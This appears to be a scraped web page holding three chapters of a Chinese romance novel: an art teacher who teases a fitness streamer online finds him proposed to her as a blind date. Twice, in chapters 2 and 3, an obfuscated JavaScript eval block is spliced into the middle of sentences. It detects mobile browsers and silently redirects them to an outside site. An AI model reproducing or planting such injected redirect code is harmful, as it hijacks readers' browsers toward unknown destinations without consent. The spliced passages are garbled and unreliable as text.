《相亲遇到冷脸糙汉后》 1. 第 1 章 《相亲遇到冷脸糙汉后》/嘉织 2026年4月2日,晋江文学城首发 八月底的临川市,天气闷热的要命,一丝风也没有,黏稠的空气好像凝固了一般。 宁宁水果店的玻璃门关得紧紧的,外墙上的空调挂机累得直哼哼。 吃过晚饭,钟柠搬了把小板凳坐在空调口下面刷手机,仍觉得燥热难耐。 老妈陈红英女士从后面的小厨房里出来,边擦手边嘱咐她。 “你别坐在出风口,小心得风湿啊,等你老了腿疼就知道后悔了。” 钟柠屁股都没抬,搬起板凳象征性地朝旁边挪了挪,“晓得了,妈,我刚吃完饭,热得很,待会儿我就离开这儿。” 注意到老妈走近,钟柠眼疾手快地退出小绿书回到手机桌面,无意识地来回划着。 一个肌肉发达的男生健身的画面一闪而过。 陈红英再看的时候,女儿的手机屏幕上只剩下写着“早日暴富”字样的手机桌面。 她以为自己看花眼了,又叮嘱,“你坐到收银台边上去,我跟你爸出去了,你好好看店。” 钟文德换了件白色的老头衫出来,手里拿了把蒲扇递给老伴,“走吧,去的晚了怕是没好位置了。” 夫妻俩一起开门出去。 钟柠是临川市实验一小的美术老师,她师范大学毕业后到北京漂了两年,当时她在北京,老妈在广州,老爸在临川,一家三口,三个地方。 老爸钟文德本来是市一中的数学老师,兼班主任,因为常年劳累落下病根,提前办了病退。 老妈陈红英早些年是在广州做服装生意的,妥妥地女强人一个,钟文德退下来后,为了照顾老伴,陈红英女士不得不回到老家买下这个铺面,开了宁宁水果店。 水果店就在他们家小区门口底商,地理位置倒是很方便。 钟柠也回老家考了编,一家三口才又聚在一起。 自从她放暑假,老爸老妈彻底撂挑子不管,把她当成免费劳动力,四十天的暑假里,这一幕,每一天都会重复。 老两口结伴到市民广场乘凉跳广场舞,留下她自己在店里看着。 不到十点半不回家。 老妈陈红英讲话了,谁让你没个对象呢,你要是有男朋友,需要跟男朋友出去约会,我就不让你给我看店了。 钟柠默默咬了咬牙,陈红英女士,够狠。 好在钟柠终于快熬出来了,明天就是九月一号,她期盼许久的开学的日子。 钟柠觉得身上的汗散的差不多了,起身坐到了收银台边上,看了眼电脑屏幕上的监控,没什么异常,又低头继续看她的手机。 屏幕上是小绿书APP的界面。 一个身材巨好,胸肌腹肌各种肌都很发达的男生正在举铁。 这个博主是刚放暑假的时候钟柠无意间刷到的,那天他刚更新了第一条健身vlog。 钟柠看他身材不错,长相也正好戳中自己的XP ,IP地址又跟她在一个城市。 最最关键的是,他的ID叫铁血猛龙。 钟柠一看这个名字就来了兴趣。 她喜欢。 把人家那一条健身vlog盘了五六七八遍之后,钟柠留下了第一条属于自己的评论。 离婚带俩娃:嗨,帅哥,能捏捏你的胸肌吗?biu biu ~ 一个小时后,钟柠再次打开小绿书,看见后台的99+消息有些吓到了,难道是帅哥看她如此诚心,真的给她捏了? 打开一看才知道是自己想多了。 后台消息全都是其他网友对她那条大胆评论的点赞,已经有破万的趋势。 没想到这个博主还真是勤奋,不仅每天更新,晚上九点还准时直播一个小时。 不说话,不跟粉丝互动,就是单纯的锻炼,到十点准时下播。 第二条健身vlog下,钟柠继续口出狂言。 离婚带俩娃:【帅哥,你长得好像我爸的女婿啊!】 评论区的大黄丫头们还真是不负众望,再一次合力把她的评论点到了三万赞,推到了最上面。 还有人在下面回复她。 【美女,什么时候把博主拿下了记得通知我们啊。】 【对啊对啊,我们都是见证者。】 【加油啊!】 既然众姐妹如此给面子,她也不能让大家失望。 等他直播结束后,被冲昏头脑的钟柠冲动之下点了“铁血猛龙”的头像,给他发了一条私信。 离婚带俩娃:【老公,晚安。】 手机界面迅速弹出一条提示:对方关注或回复你之前,24小时内最多只能发一条文字消息。 此后的30天,每条vlog下面都有钟柠大放厥词的评论。 【可以做我老公吗?我从小就没老公】; 【宝宝做吗?不好意思太紧张了,做我宝宝吗?】 每天晚上他下播后,她都会发一条【老公,晚安】过去。 从回忆中抽神,钟柠看了眼时间,8点58分了,他又快直播了。 “不行,我得买个防偷窥的手机膜。” 想到明天就是开学,万一在学校刷猛龙的视频被其他老师看到可就太尴尬了。 钟柠打开拼夕夕下单三张防窥手机膜,再次回到小绿书的时候,猛龙的直播刚刚开始。 他应该是在调试摄像头,屏幕上只能看到一小片黑色的健身工字背心,还有一截孔武有力的大臂。 肱二头肌上面的青色血管饱胀的像是马上要喷发出来。 “妈呀,今天一上来就这么猛,是为了庆祝我明天开学吗?” 反正此刻水果店里没人,钟柠彻底放飞自我。 调好设备后,猛龙开始直播哑铃单臂划船。 ...... 看完直播,钟柠照例发了一条【老公,晚安】过去,然后美美地洗漱睡觉。 第二天一大早,不到六点,钟柠就醒了。 钟文德正在厨房做早餐,而陈红英早已经没了踪影。 钟柠洗了手到厨房帮忙,“爸,我妈呢?” 钟文德正切黄瓜,“去批发市场了,听群友说今天会来一批特别好的大西瓜,去的晚了就没有了。” 钟柠帮着把碗筷摆到餐桌上。 “没有就没有了呗,我妈也真是的,都一把年纪了,还这么拼干嘛?” 凉拌黄瓜做好,钟柠盛了两碗小米粥,父女俩坐在一起吃早饭。 “柠柠,要是就我跟你妈我们俩,她也就不那么拼了,这不是还有你吗?总得在你出嫁之前,给你挣一份嫁妆啊。” 钟柠低头喝粥,小幅度地撇了撇嘴。 自从她回来上班,一家三口住在一起,这个嫁人的话题就没从二老嘴边离开过。 虽然没有明晃晃地催婚,但这暗暗地压力更大。 钟柠知道老爸身体不好,没敢顶嘴。 吃完饭,她主动收拾了碗筷,拿起包准备出门上班。 “爸,我走了,今天开学,我早点去。” 走到小区门口,钟柠大老远就看见一辆装满绿油油大西瓜的大卡车停在水果店门口。 看来陈红英女士这趟没白去啊,硬是抢了一卡车的大西瓜回来。 陈红英也看见了女儿,大老远地就冲她招手。 她穿了件素色的短袖T恤,配牛仔短裤,留着干练的短发,从背影看,完全看不出已经50多岁。 一早上的忙碌,两鬓都是汗水。 “柠柠,吃过饭了吗,怎么去这么早?” 钟柠走到店门口,从包里取了张纸巾给老妈擦汗。 “妈,今天第一天开学,肯定好多事,我去帮着收拾一下。” 陈红英转身进了店里,从柜台上取了一个透明的塑料盒,里面装满洗净切好的黄桃和新鲜的草莓。 “把这个拿上,跟你的同事们分着吃。” 钟柠接过来,盒子沉甸甸的,心里不是滋味。 “妈,您早上还没吃饭吧,还惦记着我。” “我没事,我弄完就回家吃。” 陈红英一边说话,一边打量着女儿。 钟柠很会长,完全继承了她和老伴的优点,大眼睛,高鼻梁,白嫩的脸蛋一掐能掐出一包水。 穿了件款式简单的杏色衬衫,搭配卡其色半身裙,微卷的秀发被高高束起扎成一个圆圆的丸子,甜美又不失俏皮。 就是这又宅又咸鱼的性格是基因突变的结果,都25了,整天就窝在家里耍手机,也不张罗找个对象。 看着老妈突然意味深长的眼神,她就知道,老妈有话要说。< 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钟柠是去年考进来的美术老师,虽然听上去是个美差闲职,实际上一点都不清闲,她带两个年级共7个班的美术课,一周就是21节课,除了这些,还有每周三固定的社团课,还有数不清的画板报等杂七杂八的活。 上午开大会,下午上了两节课,又开了美术小组会,钟柠终于挨到了放学时间。 她关掉电脑,刚把包背到身上,手机忽然响了起来。 来电显示:胡老师。 这位胡文秀老师是二年级三班的班主任,今年40多岁,教学经验丰富,去年就跟她搭班子,俩人关系还算不错。 钟柠接起电话。 “喂,胡老师,有事吗?” “小钟啊,你先别走,校长找我,你帮我放一下学吧。” “明天给你带奶茶。” 这种情况,在去年一整年曾经发生过无数次。 反正她单身没家庭,下班回家也没什么事,顺便就答应了。 “好啊,胡姐,没问题,奶茶我要草莓蜜柚,少糖,少冰。” 从去年胡文秀第一次让她帮忙放学开始,就说要给她买奶茶作为答谢。 钟柠每次都告诉对方自己想喝的口味,当场两清,既不内耗对方,也不内耗自己。 钟柠上了二楼,走到二年级三班教室,带着同学们去校门口放学。 校门口乌央乌央的挤满了人,家长们恨不得挤进门里面来。 今天又有五个班的一年级新生进来,感觉校门口的家长更多了起来。 班级里50多名学生在体委的带领下排成双人一队往校门口走,钟柠跟在队伍后头。 弹簧门缓缓开启,每个班的孩子都排着队井然有序的站到了自己班的放学位置。 钟柠一声令下:好了,解散。 “老师再见!” “老师明天见!” ..... 一个个可爱的小毛头纷纷找到了自己的爸爸妈妈回来又跟钟柠挥手告别。 钟柠也热情的回应着每个人。 毕竟已经教了他们一年,彼此都有了感情。 大部分学生都已经被接走,只剩下四五个还站在原地等。 钟柠环顾四周人群,忽然看见对面马路牙子上站着的男人莫名有些眼熟。 他身高大概在一米九左右,比他周围接孩子的妈妈们都高了一个头还不止。 男人留着很普通的寸头,鬓角两侧剃的很短,露着青皮,很健康的小麦色皮肤,剑眉星目,脸部线条冷硬,穿了件黑色紧身T恤,发达的肌肉块呼之欲出。 钟柠惊讶地有些说不出话来。 靠,这不是她撩了一个月的猛龙吗? 怎么会跑到她校门口来啊? 霎时间,一个背着书包的小豆丁跑着扑到男人的怀里。 男人摸了摸小豆丁的头,冷硬的脸上勾起一丝弧度,领着孩子离开了。 钟柠:“......” 无了个大语了。 娃都这么大了怎么还好意思出来卖啊? 你这么不知检点,娃她妈知道吗? 拉黑拉黑。 回家就拉黑。 2. 第 2 章请看作话排雷 直到最后一位同学也被父母接走,钟柠终于完成任务。 她坐上了回家的26路公交车。 车上无聊,钟柠下意识地点开了小绿书。 首页的推荐笔记全部都是美术老师暑假计划,美术老师暑假如何提升自己..... 她这才想起来,在防窥手机膜到货之前,她把用来刷肌肉男视频的小号登在了家里的平板上。 手机上的小绿书号是自己的大号。 ...... 不能马上把这个骗人的肌肉男删除,钟柠心情更差了。 虽然只是个未曾谋面的网友,但也毕竟是她撩了一个月的人啊。 他怎么能骗人呢? 钟柠觉得好痛苦,像失恋了一样痛苦。 偏偏今天的回家路还堵得很。 钟柠有些无聊,调出闺蜜孟雪的微信,给她发了一大串的哭脸过去。 花果山在逃母猴:【呜呜,我失恋了,雪,我好难受啊,呜呜。】 孟雪是钟柠的高中同学,当时俩人住一个宿舍,头对头睡觉,整整三年,养成了革命般的友谊。 孟雪知道她偷偷暗恋哪个校草。 钟柠也知道孟雪给哪个帅哥写过情书。 彼此都掌握着对方软肋的过命的交情。 孟雪是一毕业就考了临川市政府的公务员,在政府办做领导的联络员,已经跑了三年的腿儿。 对方的信息回复的还挺快,看来没开会。 白日做孟女士:【什么什么?什么你就失恋了,你什么时候恋的,对方是哪只猴子,哪个山头的?】 花果山在逃母猴:【就是那个猛龙,我和你说过的。】 对方忽然没有了动静。 钟柠也没指望她能跟自己聊多久,像她这种刚进去的小喽啰,随时会被科室里任何一位领导使唤。 到小区门口,钟柠先去了一趟水果店。 吃过晚饭,店里也不忙,陈红英就让她先回家了。 钟柠回家第一件事就是的找到自己的平板电脑,登录小绿书,找到了铁血猛龙的账号。 他今天还没更新vlog。 不知道待会儿九点钟会不会继续直播。 管他直不直播呢,都跟我没半毛钱关系。 钟柠一气之下点了他的主页右上角的三个点。 将“铁血猛龙”拉黑。 对方将无法查看你的笔记,也无法与你互动。对方不会收到被拉黑的通知。 犹豫了一秒,钟柠点了确定。 - 江昱洲把侄子江承佑从学校接回来,又给他送回大伯家,才出门去赴哥们儿姚牧的约。 江昱洲退伍回来半年多了,目前就是个闲杂人等。 中午一大家子人齐聚爷爷奶奶家吃饭。 话题的中心就围绕着两件事。 一个是江昱洲退伍后的工作问题。 另一个就是赶紧发动亲戚朋友给他介绍个女朋友。 江昱洲命苦,父亲早早意外去世,隔年母亲就改嫁,再也没有回来过。 但他命也不苦,从小跟爷爷奶奶长大,大伯一家也很疼他,拿他当亲儿子对待。 他们江家在临川也算是大家族,世代从商,到他爷爷江文达这一辈已经将摊子铺的非常大,酒店,商场,楼盘,几乎每个领域都有涉猎。 到了下一辈,也就是江昱洲的父亲江河这里,却突然改了门风,做了消防员,江河不幸在岗位上英勇牺牲,家族企业的重担全部落在大伯江峰一个人身上。 自从江河出事,江老爷子就开始反思自己,是不是他的商业版图扩的太大,招惹到了一些什么神灵,所以,江家的第三代,全部开始从政。 堂哥江韦川毕业后考入商业银行,堂嫂谭悦更是来自书香世家,在教育局工作,江昱洲大学读了一年突然跑去当兵,当时差点把老爷子气吐血。后面家人都接受了他当兵的事实,没想到,这小子突然退伍回来了。 回来也好,现在专业待遇好,进体制内工作完全没问题。 - 中午吃饭的时候,堂嫂谭悦提到,她认识几个实验一小的老师,倒是可以寻摸一下有没有合适他的对象。 此话一出,得到了全家的支持。 江老爷子一听,对方是人民教师,正合他意,恨不得今天晚上就让江昱洲去跟人家女方见面。 下午的时候,江昱洲确实接到了谭悦的电话。 一开始他还真没敢接,心想,这大嫂办事也太利落了吧?这么快就找到合适的相亲对象了? “喂?嫂子。” “哎,昱洲啊,我和你哥今天晚上都加班,你没事的话帮我去接一下孩子呗,校门口车太多,你大伯母车技不行,我也不好意思用你大伯的司机,你要是有空就替我去一趟。” 江昱洲长舒一口气,原来是让他接孩子。 “行,嫂子,我去接承佑,你放心吧。” - 姚牧是他从小一起玩到大的哥们儿,高中毕业后就没再继续念,用老爸的投资在临川开了家健身房,过着滋润的富二代日子。 家里给介绍了个在银行上班的女朋友,听说已经定了婚期。 这不,自从江昱洲退伍回来,姚牧三天两头拉着他出来喝酒,美其名曰,珍惜最后的单身时光。 临川市里数得着的酒吧都被这哥俩喝了个遍,今晚,姚牧把喝酒的地点定在了他自己的健身房。 姚动健身房开在临川最豪华的商业街,上下两层,共二百平米。 江昱洲把车子停在路边,推门进去。 上班族们都下了班,陆陆续续有人进来锻炼。 姚牧看见江昱洲进来,笑着迎上去,在他发达的肱二头肌上怼了两下。 “我靠,哥们儿,两天没见,你好像又大了。” 江昱洲笑笑,“嗯,那还不是姚教练教的好?” 江昱洲退伍回来后,仍然坚持每天锻炼,丝毫不松懈,没事干的时候就泡在姚牧的健身房。 后来,他为了筹备加入救援队的资料,不能每天过来练,姚牧就给他出了个主意,让他每天在小绿书上直播一小时健身,顺便监督自己。 姚牧把手搭在江昱洲肩膀上,推着他往后面走。 别看姚牧是个开健身房的老板,自己的身材却有点一言难尽。 他身高大概在180左右,体重只有120斤,四肢细的好像刀螂,却有一个隐隐发福的啤酒肚。 跟宽肩窄腰,一身肌肉块的江昱洲站在一起,就好像一根长了手脚的火柴。 后面是他的办公室,里面已经买好了酒和串。 “来,洲哥,坐。” 姚牧指了指对面的椅子,示意他坐下,顺手拿起桌上的罐啤递给他。 江昱洲接过来,并没有打开,又重新放下。 “今儿不喝了,我开车来的。” 姚牧眼睛瞪了瞪,“哟,提车了?什么时候的事,怎么不招呼我啊,跟你一起去参谋参谋啊?” “昨天刚提的,牧马人,没多少钱,赶不上你大少爷的大奔。” “走走走,出去看看,这么大事也不跟我说,还是不是好哥们儿了?” 姚牧硬拉着江昱洲出来看他的新车。 再次回到健身房,江昱洲还是没能逃脱喝酒。 姚牧打开手机,搜索了一个词条递到江昱洲面前。 “来,洲哥,跟我念,d-ai-dai,j-i-a-jia。代驾。” 江昱洲一把推开他的手,损他,“得了吧,我是去当了八年兵,但我又不是山顶洞人,我能不知道什么叫代驾吗?” 说起当兵,谈到退伍,江昱洲不可避免的想到中午饭桌上全家人对他的担心。 一种烦躁感从心底升起。 家里人都认为他每天无所事事,这么大个子在家里晃来晃去,觉得他碍眼,可是,他真正在筹备的事情又不能告诉他们, 他抄起桌上已经打开的罐啤吨吨吨喝了三大口。 姚牧见江昱洲也不说话,就一个人低头喝闷酒,知道他肯定是又被家人唠叨了。 他捞起一罐啤酒跟对方碰了下,也灌了一大半下肚,“哥们儿,我跟你说,也不怪家里人为你担心,你这回来好几个月了,老这么晃荡着也不是个事,工作和对象,总该先落实一样吧?” 江昱洲还是不说话,只是喝酒。 姚牧突然想起什么似的,碰了碰他的酒杯,“哥们儿,我听说军队的奖励在专业的时候都能加分的,你看你,两个四有优秀军官,两个三等功,一个二等功,多牛逼啊,你没去退役军人事务局问问?” 江昱洲无奈地摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443992|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这些荣誉在部队里看着光鲜亮丽,转业到了地方,就一文不值了。” 姚牧也跟着叹气,“其实吧,不是我说你,你都当了八年了,干的挺好的,干嘛非要退伍回来,你看看,在部队那么优秀的一个人,回到地方连个工作也没有......” 江昱洲抬头拿眼横他,姚牧不敢再继续说下去。 良久,江昱洲抬头看着姚牧,问他,“不至于,我还没落魄到那个地步呢,就是......” 江昱洲顿了顿,“对了,咱们临川的逐光特战救援队,你听说过吗?” “当然听过了,去年今年七月份那两场大暴雨,好多村子都淹了,咱们这救援人员有限,多亏了逐光救援队,他们装备专业,队员素质一流,救了很多灾民,怎么了,你不会是?” 姚牧动作僵硬了一秒,好像在思考,后又摇了摇头。 “哥,救援队,还是算了,你忘了你家我大伯是怎么走的了,你爷爷奶奶也不会同意的。” 姚牧没有明说,但江昱洲已经懂了。 他抬手打断他,“你不懂,算了,不说了,喝酒。” 江昱洲的父亲是一名消防员,在他10岁的时候就在一次救援任务中英勇牺牲了,这件事对于江家人来说是一辈子的痛。 所以,江昱洲想跟父亲一样成为一名消防员的梦想是完全不可能了,爷爷奶奶不会答应。 但他心中有一个救援梦。 退伍之后他就一直在悄悄准备加入逐光特战救援队的资料。 逐光特战救援队的副队长在暴雨救援中受伤不合适再承担救援任务,江昱洲得知消息后,就一直在积极准备,资料已经递上去有段时间了,正在等待上级部门审批。 酒喝到一半,江昱洲接到了嫂子谭悦的电话。 “昱洲啊,我今天拜托人给打听了一下,还真叫我打听着一位合适的女老师,实验一小教美术的,课业任务不重,25了,比你小点,长得是没得说,在他们学校这些老师里算数一数二漂亮的,怎么样,见见吧?” 谭悦说的时候,姚牧全都听见了,一个劲儿地劝江昱洲赶紧答应下了,这条件多好啊。 嫂子都这样说了,江昱洲怎么好意思拒绝? 况且旁边还有姚牧看着呢。 江昱洲:“行,嫂子,你去联系吧,定好了我就去见。” 挂完电话,姚牧一边给江昱洲倒酒,一边感慨。 “洲哥,要我说啊,你可真是不错,你看看,嫂子给你介绍的对象都是学校里最漂亮的老师。” 江昱洲跟姚牧喝了半晚上酒,回了家觉得头有点晕,坚持了一个月的直播计划也被迫暂停。 他自知酒量不错,但不知为什么今天倒早早地醉了。 到了晚上十点半,江昱洲洗了澡躺在床上随意划着手机,小绿书后台不断有私信涌进来,大部分都是询问他今晚为什么没直播。 这些他一概都不理,只是今晚他觉察出一丝细微的变化。 那位昵称叫“离婚带俩娃”的粉丝,坚持发了30天的“老公晚安”,今天却迟迟没有出现。 江昱洲有些烦躁地翻了个身,点进去“离婚带俩娃”的主页看了看。 关注40,粉丝1050,获赞与收藏6.8w。 一条笔记也没有。 个人资料那里写着一句话:活着挺好,死了也行。 头像是一只棕色的大号老鼠。 呵呵。 看着她简介里面的那句话,江昱洲忍不住笑出声来,这种生活态度倒是第一回见,还有这个大老鼠,这是什么动物? 江昱洲也没见过。 后台私信一直滴滴滴响个不停,搅和地他更加心烦意乱,索性直接关了私信。 转念一想,万一她发私信过来,不是就收不着了吗? 江昱洲给“离婚带俩娃”点了个关注,又在设置里改成“我关注的人”可以私信。 一顿操作结束,已经快十一点了,可是对方迟迟没有动静。 江昱洲又醉又困,神思都迷糊了,没忍住在他跟“离婚带俩娃”的对话框里打了个“?”过去。 问号前边顿时出现了一个红点,下面还跟着一句话: 由于对方的权限设置,你无法向TA发送消息。 ??? 把我拉黑了? 3. 第 3 章 钟柠把铁血猛龙拉黑之后仍嫌不过瘾,又搜索了十几个肌肉男博主,报复性地刷了起来。 平板马上没电的时候,钟柠的手机响了起来。 来电显示:胡老师。 她揉了揉发酸的眼睛看了眼时间,都快十一点了。 这么晚给我打电话,难道又是让我帮她代课的? 钟柠不想接,就这样静静地看着胡老师的名字在手机屏幕上来回地跳动。 这个时候,老爸嘱咐过他的话语又回想在耳边。 记得刚工作的时候,老爸就跟她说过,你还年轻,在单位里头,要任劳任怨,跟其他同事处好关系,多干一些没什么的。 哎...... 钟柠叹了口气,在来电即将挂断之前,点了接听。 “哎,胡姐,什么事啊?” 胡文秀的声音里充满了歉意。 “真是不好意思啊,小钟,这么晚了,没打扰你休息吧?” 钟柠假装着打了个哈欠:“没事啊,胡姐,有事您说。” 胡文秀:“是这样啊,小钟,今天张校长跟我说了个事,还挺着急的,所以才这么晚打扰。” 钟柠越听越迷糊了,怎么还跟他们副校长扯上关系了呢? 胡文秀:“张校长说有一个合适的男青年,是教育局哪位领导的亲戚,想给你介绍一下,他知道咱俩平时关系好,就托我当个中间人,让我问问你的意见,这对方啊,是个当兵的,28了,刚退伍回来,人品样貌都没问题,这不是岁数有点大了,着急找对象呢。” 听着胡姐叽里咕噜说了这么一堆,钟柠本来还有些紧张的神情逐渐放松了下来。 脑海里回想起张校长那张严肃的脸。 呵呵,他怎么还会干媒人的事啊? 听筒里传来胡文秀的声音。 “小钟?怎么样,见见吧?见见怕啥的,觉得不合适,直接说就行。” 钟柠还真有些犹豫,长这么大,还真没相过亲呢。 想着白天的时候老妈才提出今年她要是再找不到男朋友,明年就要给她安排相亲了,没成想,晚上这相亲对象就来了。 钟柠不想一口答应,好像自己多么迫不及待似的。 “胡姐,您容我想想啊,明天我给你准话,啊,早点休息吧。” 防止胡老师再劝,钟柠说完赶紧就切断了通话。 - 第二天早晨七点半,钟柠准时出现在美术组办公室。 这间办公室跟教室差不多大,几个年级的美术、道法、科学等副课老师都在这里办公。 办公室宽敞明亮,窗台上摆了几盆仙人掌,空调机上面那盆绿萝枝叶繁茂到从旁边垂落下来。 钟柠是第一个来的,人还没坐下呢,就看见胡文秀老师匆匆忙忙从门口进来了,手里拎着两大杯奶茶。 胡文秀烫着时下最流行的纹理烫,穿了件新中式的长裙,身材微胖,常年跟小朋友们打交道,性格和善,还未开口,脸上已经堆满笑容。 “来来来,小钟老师,你要的草莓蜜柚,少糖,少冰。” 钟柠眉开眼笑地接了过来,插上吸管喝了一口,“嗯,真好喝,谢谢胡姐。” 胡文秀并没有打算马上就走,而是拉了一把椅子坐在了钟柠身边,一脸地神秘。 “来,小钟,坐,我给你看个东西。” 钟柠被胡姐拉着坐下来,表情有点懵。 胡文秀打开自己的手机,找到微信聊天界面,打开了一张照片放到了钟柠的办公桌上。 “小钟,你看,这个就是昨天跟你说的那个相亲对象的照片,江昱洲,你看看这小伙子长得多帅啊,又当了8年兵,国家严选的,你还有什么可不放心的呢,我听说啊,退伍回来的时候,部队都给好几十万的安置费,还给体制内的工作呢,这条件,跟咱们老师比也差不多了,去见见吧,啊。” 钟柠嘴巴里还叼着奶茶吸管咕噜咕噜的喝着,眼睛根本没在照片上头。 “哎呀,胡姐,我还没考虑好呢,我没相过亲啊,我我我,我太紧张了。” 胡姐又把手机递到钟柠眼前,“没相过亲怎么了,什么都有第一次,这怕什么的?你看呀,你先看照片再做决定,我知道,你们现在的小姑娘啊都喜欢帅的,你看,这多帅啊。” 钟柠被唠叨地有些不耐烦,低头象征性地瞟了一眼。 居然是蓝底小二寸军装照! 钟柠心里对对方的意见莫名其妙地又增加了几分。 出来相亲居然拿军装照给女方看? 谁不知道制服是男人最好的医美啊? 私底下指不定什么样呢! 就瞟了这一眼,钟柠就发现那照片上的男人似乎有些眼熟。 霎时间,手里的奶茶也不香了。 钟柠不太温柔地拿过胡姐的手机认真地看了起来。 男人肤色健康,头发很短,脸庞棱角分明,下颌线条硬朗,浓密的眉毛下一双深邃的眼睛,鼻梁高挺,军绿色领带上方的喉结异常突出。 靠,这....这不就是小绿书上那位铁血猛龙吗? 钟柠的脑门皱成了一个问号。 他不都已经结婚有娃了吗,怎么还出来相亲啊? 这时,脑海里不知从哪里冒出来一个声音。 “有娃就说明结婚了吗?有娃只能说明曾经结过婚,你的小绿书ID还叫离婚带俩娃呢!” 钟柠:..... 这就对了嘛! 这么重要的信息,媒人居然不知道,这不就是明晃晃地诈骗吗? 她懊恼地闭了闭眼,把手机还给胡姐。 “胡姐,确定是这个人吗,没有弄错吧?” 胡文秀怔了怔,看了看钟柠那张粉嫩的小脸。 “没错啊,你看,这是张校长给我发过来的,怎么会错呢?” “哎呀,小钟,你到底考虑好了没啊?小江这个条件多好啊,真是打着灯笼都找不着啊。” 钟柠心底冷笑。 可不,条件确实不错,除了离过婚这一点,真真是算是相亲市场的顶配了。 钟柠像是下定了巨大的决心一般砰的一声把手拍在桌子上,音调也莫名其妙地高亢。 “好,胡姐,我去见。” 我要去帮广大无知少女揭穿这个离婚渣男的真面孔。 当然,第二句话,她没有说出来。 胡文秀高兴地跟什么似的,“那太好了,小钟,就定周六怎么样,平时咱们都有课,周末有时间,男方那边说看你,他什么时候都行。” “你要是觉得行,我就去跟张校长回话。” 钟柠心思都在谋划着如何揭穿渣男真面目上,根本没听清胡姐在说什么。 “行,胡姐,您定吧,都行。” 马上就到上课时间,胡文秀高高兴兴地出去了。 下了第二节课的大课间,胡文秀给钟柠推过来一个微信名片。 胡文秀:“小钟,这是小江的微信,你俩加上先聊聊。” 钟柠低头瞅了一眼微信昵称:铁血猛龙。 头像是一个夕阳下的敬礼背影,跟小绿书上也是一样的。 呵呵,这人还怪专一的呢。 这下她更确定是同一个人了。 钟柠点开名片,直接点击添加到通讯录,验证信息一个字都没写。 发送之后,钟柠把手机静音扔进包里,去上课了。 午休时间,钟柠吃过饭回到办公室,拿出被冷落了半天的手机,发现对方已经通过了她的好友申请。 铁血猛龙:【你好,我是江昱洲,请多关照。】 钟柠冷笑一声,打字回复。 花果山在逃母猴:【你好。】 一二年级各班班主任给钟柠发来了这个学期报名美术社团的学生名单。钟柠在电脑上登上微信,把这些表格合并到一块。 整理到一年级三班的时候,一个叫【江承佑】的名字引起了她的注意。 昨天下午放学的时候,她当时特意记了一下,那个位置站的应该就是三班或者四班。 又姓江。 搞不好就是这位小朋友。 没想到他的儿子也喜欢学画画吗? 真是冤家路窄啊。 - 下午五点,最后一节是课后服务,按照学校规定,不是班主任的老师就可以打卡下班了。 钟柠忙完手头的事收拾了一下包准备走出办公室,想到江昱洲也许还会来校门口接孩子,她又再次停下了离开的脚步。 心里嘀咕着,我是不是应该再确定一下啊,万一昨天看错了呢? 钟柠给胡文秀打了个电话。 “胡姐,我今天没事,我帮您放学吧,您不是说最近几天家里忙着装修呢吗,您赶紧回去忙吧。” 胡文秀虽然高兴,但也觉得今天钟柠有点反常,高兴地问她,“小钟,你这是怎么了,主动帮我放学啊?” 钟柠嗐了一声,“胡姐,你看你,为了我相亲的事忙前忙后的,这么辛苦,这些都是我应该做的,你就别客气了。” “哎,好嘞,小钟,那就谢谢你了啊。” 挂断电话,钟柠低头看了眼手表,时间差不多了。 她背着包来到二年级三班的教室门口,准备护送孩子们放学。 铃...... 下课铃声响起,孩子们瞬间就活跃起来,一个个迅速抄起桌面上的书本一股脑地往书包里塞。 钟柠走上讲台招呼大家。 “孩子们别急,都排好队啊,体委组织一下。” 钟柠跟在学生队伍后面慢悠悠地朝学校大门走去。 九月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443993|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初,暑气并未消散,下午五点半的太阳在头顶照着,校园里的梧桐树上的知了一刻也不停息地鸣叫。 放学的顺序是按年级从小到大排的,一年级在他们前头。 为了近距离抓到证据,钟柠紧走几步来到了一年级小朋友的队伍后面。 学校大门就在眼前,一门之隔的外面已经站满了接孩子的家长。 钟柠顺着人群一点点地向外张望,终于在昨天相同的位置看到了江昱洲的身影。 今天的猛龙同志穿了件迷彩短袖,下面是同系列的裤子,大臂肌肉紧实将短袖的袖口撑得满满,胸膛处微微隆起,几乎能透过衣服看到里面排列整齐的八块腹肌。 小伙子站在那里姿势挺拔,在一众接孩子的宝爷宝奶中间,鹤立鸡群,引人注目。 放学期间的马路异常拥堵,有四个调皮的小朋友不顾交警的指挥,嬉笑打闹着朝马路对面跑去,不巧的是,正好有一辆汽车开了过来。 车子跟小朋友之间的距离太近,一时间,汽车的鸣笛声响彻人群,也吓坏了那几个小朋友。 就在这时,站在马路牙子上的江昱洲一个飞身就挡在了孩子们身前,张开双臂,护送着孩子们安全地到达了马路对面。 一名身穿制服的交警气喘吁吁地从另一侧跑了过来处理情况,对江昱洲的行为表示感谢。 男人的脸庞仍旧是一副淡然的模样,独自退回到刚才等待的位置。 不远处,一年级三班的队伍已经宣布解散。 江昱洲朝江承佑招了招手,小家伙跟老师挥手告别,跑了过去。 此时此刻,钟柠举着的手机早已按下了拍摄键,将刚才江昱洲见义勇为的一幕全部记录了下来。 江昱洲拉着江承佑的手往西边走了一段距离,最后上了一辆黑色汽车。 “钟老师,可以解散了吗?” “钟老师?” 